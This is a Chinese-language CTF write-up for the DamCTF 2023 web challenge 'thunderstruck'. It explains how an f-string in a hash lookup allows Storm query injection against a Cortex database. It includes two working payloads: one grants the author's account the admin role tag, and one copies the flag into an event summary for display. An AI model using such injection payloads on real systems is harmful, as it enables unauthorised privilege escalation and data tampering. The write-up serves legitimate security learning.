![20230408143652](https://de34dnotespics.oss-cn-beijing.aliyuncs.com/img/20230408143652.png)
题目给出了源码方便本地测试，站点采用 python 异步框架 Quart + 后端 cortex 数据库的形式部署，相对来说很陌生。
通过审计源码可以知道题目定义了如下的几个功能：1.  首页（index）2.  用户注册（register）3.  用户登录（login）4.  用户注销（logout）5.  查询（lookup）6.  管理员页面（admin）
其中管理员界面应该是可以获取到 flag 的。关键就在于 is_admin 的判断中。is_admin 的判断主要依托于 cortex 查询语句：```pythonself._is_admin = (await current_app.cortex.count(r"auth:creds=(thunderstruck,$u) +#role.admin", opts={"vars": {"u": self.auth_id}, "view": self._view})) == 1```
用户对应的 auth:creds 表项如果具备 role.admin 标签即具有 admin 权限，但正常的用户在注册时无法获取这个标签。
漏洞点就出在 lookup 功能中，以 _lookup_sha512 为例。```pyasync def _lookup_sha512(h) -> bool:    return await current_app.cortex.count(f"hash:sha512={h}", opts={"vars": {"h": h}, "view": await current_user.view}) > 0```站点正常查询时，用户需要提供一个 128 位的字符串，但此处的用户输入 h 似乎是直接拼接到 `f"hash:sha512={h}"` 中，细心一些也能发现，其他地方都是使用 r 字符串加占位符的形式执行 storm 语句，但是这里使用的是 f 字符串。
这里的 payload 如下, 我的用户名为 user2，前方的 # 直接可以使得 sha512 不报错的情况下顺利执行后方为 user2 添加 role.admin 标签的代码。需要保证总长度为 128 位，因此我使用了垃圾字符进行填充。```sql#1 -> #aaa11111111111111111111111111111111111111111111111111111111111111111111|[ auth:creds=(thunderstruck,user2) +#role.admin ]```获得 admin 权限之后就可以访问 /admin
![20230408144959](https://de34dnotespics.oss-cn-beijing.aliyuncs.com/img/20230408144959.png)
根据页面中的提示，可以定位 flag 存放在 cortex 中，而且可以通过 it:dev:str 查询到。
但 lookup 页面无法回显，通过阅读 admin.html 模板文件发现，其实这个提示来自于 ingest_code 变量.
![20230408145232](https://de34dnotespics.oss-cn-beijing.aliyuncs.com/img/20230408145232.png)
而 ingest_code 又来自于 summary 。```pyingest_ts, ingest_code = await current_app.cortex.callStorm(r"meta:event#ingest | max .created | return((.created, :summary))", opts={"view": await current_user.view})counts = await current_app.cortex.callStorm(r"return($lib.view.get().getFormCounts())")```
在 init_cortex.storm 其实是对这个 summary 进行赋值了的。summary 的全路径为 meta:event:summary
```s[meta:event=* :title="ingest-20230202" :summary="<REDACTED>"]```
这样的话，我们就可以通过替换 meta:event:summary 的内容为 flag 的内容来达到显示的目的。
payload 如下，通过声明一个变量来进行赋值。
```sql#1 -> #aaa11111111111111111111111111111111111111111111111111111111111111111111111| $org={ it:dev:str } meta:event[:summary=$org]```
最后界面上就会将 flag 打印出来。下面是用 chatGPT 生成的流程图（nice job!!）。
```mermaidsequenceDiagram    participant User    participant Index_Page as Index Page    participant Register_Page as Register Page    participant Login_Page as Login Page    participant Lookup_Page as Lookup Page    participant Admin_Page as Admin Page    participant Cortex_DB as Cortex Database
    User->>Index_Page: Access Index Page    User->>Register_Page: Register    User->>Login_Page: Login    User->>Lookup_Page: Perform Lookup    Lookup_Page->>Cortex_DB: Query Cortex Database    Cortex_DB->>Lookup_Page: Return Query Result
    Note over User,Lookup_Page: Send Payload 1     User->>Lookup_Page: #1 -> #aaa...|[ auth:creds=(thunderstruck,user2) +#role.admin ]    Lookup_Page->>Cortex_DB: Execute Payload 1    Cortex_DB->>Lookup_Page: Update User Role
    User->>Admin_Page: Access Admin Page (with admin privileges)    # Admin_Page->>Cortex_DB: Query Cortex Database for Flag    # Cortex_DB->>Admin_Page: Return Flag
    Note over User,Lookup_Page: Send Payload 2    User->>Lookup_Page: #1 -> #aaa...| $org={ it:dev:str } meta:event[:summary=$org]    Lookup_Page->>Cortex_DB: Execute Payload 2    Cortex_DB->>Lookup_Page: Update Event Summary
    Admin_Page->>User: Display Flag
```
[original writeup](https://dummykitty.github.io/2023/04/09/DamCTF-2023-Writeup-Web/#thunderstruck) (https://dummykitty.github.io/2023/04/09/DamCTF-2023-Writeup-Web/#thunderstruck)